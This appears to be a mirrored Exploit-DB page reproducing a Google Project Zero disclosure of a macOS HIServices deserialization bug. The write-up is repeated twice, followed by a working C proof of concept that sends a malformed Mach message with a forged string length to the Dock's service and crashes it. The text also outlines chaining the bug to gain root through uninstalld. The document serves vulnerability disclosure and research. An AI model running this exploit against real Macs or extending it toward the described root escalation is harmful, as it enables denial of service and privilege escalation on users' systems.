Apple macOS – Lack of Bounds Checking in HIServices Custom CFObject Serialization Local Privilege Escalation

  • 作者: Google Security Research
    日期: 2017-05-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42056/
  • /*
    Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1219
    
    HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.
    
    The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
    to index an array of function pointers for the support types:
    
    __const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
    __const:0000000000053ED0 ; DATA XREF: _AXUnserializeCFType+7Co
    __const:0000000000053ED0 ; _cfDictionaryUnserialize+E4o ...
    __const:0000000000053ED8 dq offset _cfNumberUnserialize
    __const:0000000000053EE0 dq offset _cfBooleanUnserialize
    __const:0000000000053EE8 dq offset _cfArrayUnserialize
    __const:0000000000053EF0 dq offset _cfDictionaryUnserialize
    __const:0000000000053EF8 dq offset _cfDataUnserialize
    __const:0000000000053F00 dq offset _cfDateUnserialize
    __const:0000000000053F08 dq offset _cfURLUnserialize
    __const:0000000000053F10 dq offset _cfNullUnserialize
    __const:0000000000053F18 dq offset _cfAttributedStringUnserialize
    __const:0000000000053F20 dq offset _axElementUnserialize
    __const:0000000000053F28 dq offset _axValueUnserialize
    __const:0000000000053F30 dq offset _cgColorUnserialize
    __const:0000000000053F38 dq offset _axTextMarkerUnserialize
    __const:0000000000053F40 dq offset _axTextMarkerRangeUnserialize
    __const:0000000000053F48 dq offset _cgPathUnserialize
    
    From a cursory inspection it's clear that these methods don't expect to parse untrusted data.
    
    The first method, cfStringUnserialize, trusts the length field in the serialized representation
    and uses that to byte-swap the string without any bounds checking leading to memory corruption.
    
    I would guess that all the other unserialization methods should also be closely examined.
    
    This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
    runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
    is also used in replies to dock clients.
    
    com.apple.uninstalld is a client of the Dock and runs as root
    so by first exploiting this bug to gain code execution as the Dock process, we could
    trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.
    
    This poc just crashes the Dock process though.
    
    Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
    https://github.com/facebook/WebDriverAgent/pull/99/files
    
    Tested on MacOS 10.12.3 (16D32)
    */
    
    // ianbeer
    #if 0
    MacOS local EoP due to lack of bounds checking in HIServices custom CFObject serialization
    
    HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.
    
    The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
    to index an array of function pointers for the support types:
    
    __const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
    __const:0000000000053ED0 ; DATA XREF: _AXUnserializeCFType+7Co
    __const:0000000000053ED0 ; _cfDictionaryUnserialize+E4o ...
    __const:0000000000053ED8 dq offset _cfNumberUnserialize
    __const:0000000000053EE0 dq offset _cfBooleanUnserialize
    __const:0000000000053EE8 dq offset _cfArrayUnserialize
    __const:0000000000053EF0 dq offset _cfDictionaryUnserialize
    __const:0000000000053EF8 dq offset _cfDataUnserialize
    __const:0000000000053F00 dq offset _cfDateUnserialize
    __const:0000000000053F08 dq offset _cfURLUnserialize
    __const:0000000000053F10 dq offset _cfNullUnserialize
    __const:0000000000053F18 dq offset _cfAttributedStringUnserialize
    __const:0000000000053F20 dq offset _axElementUnserialize
    __const:0000000000053F28 dq offset _axValueUnserialize
    __const:0000000000053F30 dq offset _cgColorUnserialize
    __const:0000000000053F38 dq offset _axTextMarkerUnserialize
    __const:0000000000053F40 dq offset _axTextMarkerRangeUnserialize
    __const:0000000000053F48 dq offset _cgPathUnserialize
    
    From a cursory inspection it's clear that these methods don't expect to parse untrusted data.
    
    The first method, cfStringUnserialize, trusts the length field in the serialized representation
    and uses that to byte-swap the string without any bounds checking leading to memory corruption.
    
    I would guess that all the other unserialization methods should also be closely examined.
    
    This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
    runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
    is also used in replies to dock clients.
    
    com.apple.uninstalld is a client of the Dock and runs as root
    so by first exploiting this bug to gain code execution as the Dock process, we could
    trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.
    
    This poc just crashes the Dock process though.
    
    Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
    https://github.com/facebook/WebDriverAgent/pull/99/files
    
    Tested on MacOS 10.12.3 (16D32)
    #endif
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    #include <mach/mach.h>
    #include <mach/message.h>
    #include <servers/bootstrap.h>
    
    struct dock_msg {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t ool_desc;
    uint8_t PAD[0xc];
    uint32_t ool_size;
    };
    
    int main() {
    kern_return_t err;
    mach_port_t service_port;
    err = bootstrap_look_up(bootstrap_port, "com.apple.dock.server", &service_port);
    if (err != KERN_SUCCESS) {
    printf(" [-] unable to lookup service");
    exit(EXIT_FAILURE);
    }
    printf("got service port: %x\n", service_port);
    
    uint32_t serialized_string[] =
     { 'abcd', // neither 'owen' or 'aela' -> bswap?
     0x0,// type = cfStringUnserialize
     0x41414141, // length
     0x41414141, // length
     0x1,// contents
     0x2,
     0x3 };
    
    	struct dock_msg m = {0};
    
    m.hdr.msgh_size = sizeof(struct dock_msg);
    m.hdr.msgh_local_port = MACH_PORT_NULL;
    m.hdr.msgh_remote_port = service_port;
    m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
    m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
    m.hdr.msgh_id = 0x178f4; // first message in com.apple.dock.server mig subsystem
    m.ool_size = sizeof(serialized_string);
    
    m.body.msgh_descriptor_count = 1;
    
    m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
    m.ool_desc.address = serialized_string;
    m.ool_desc.size = sizeof(serialized_string);
    m.ool_desc.deallocate = 0;
    m.ool_desc.copy = MACH_MSG_PHYSICAL_COPY;
    
    err = mach_msg(&m.hdr,
     MACH_SEND_MSG,
     m.hdr.msgh_size,
     0,
     MACH_PORT_NULL,
     MACH_MSG_TIMEOUT_NONE,
     MACH_PORT_NULL);
    
    if (err != KERN_SUCCESS) {
    printf(" [-] mach_msg failed with error code:%x\n", err);
    exit(EXIT_FAILURE);
    }
    printf(" [+] looks like that sent?\n");
    
    return 0;
    }